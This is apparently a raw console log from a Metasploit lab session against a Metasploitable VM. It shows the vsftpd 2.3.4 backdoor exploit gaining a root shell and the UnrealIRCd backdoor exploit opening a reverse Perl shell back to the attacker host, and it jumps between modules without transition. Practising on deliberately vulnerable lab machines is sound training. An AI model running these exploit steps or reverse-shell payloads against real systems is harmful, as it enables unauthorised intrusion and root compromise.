

```
msf6 > search vsftpd
```

Matching Modules

#	Name	Disclosure Date	Rank	Check	Description
0	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, `use 0` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use0
```

```
[*] Unknown command: use0
```

```
msf6 > use 0
```

```
[*] No payload configured, defaulting to cmd/unix/interact
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options
```

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name	Current Setting	Required	Description
RHOSTS		yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	21	yes	The target port (TCP)

Payload options (cmd/unix/interact):

Name	Current Setting	Required	Description
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Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS
RHOSTS =>
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
```

```
[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
ls
[*] Command shell session 1 opened (192.168.1.100:38117 → 192.168.1.149:6200) at 2023-03-06 10:42:58 -0500
```

```
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
```

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload 7
payload => cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > options
```

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

Name	Current Setting	Required	Description
RHOSTS	192.168.1.149	yes	The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT	6667	yes	The target port (TCP)

Payload options (cmd/unix/reverse_perl):

Name	Current Setting	Required	Description
LHOST		yes	The listen address (an interface may be specified)
LPORT	4444	yes	The listen port

Exploit target:

Id	Name
0	Automatic Target

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.1.100
LHOST => 192.168.1.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit
```

```
[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.149:6667 - Connected to 192.168.1.149:6667 ...
:irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname ...
[*] 192.168.1.149:6667 - Sending backdoor command ...
[*] Command shell session 2 opened (192.168.1.100:4444 -> 192.168.1.149:60305) at 2023-03-06 10:50:02 -0500
```

```
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```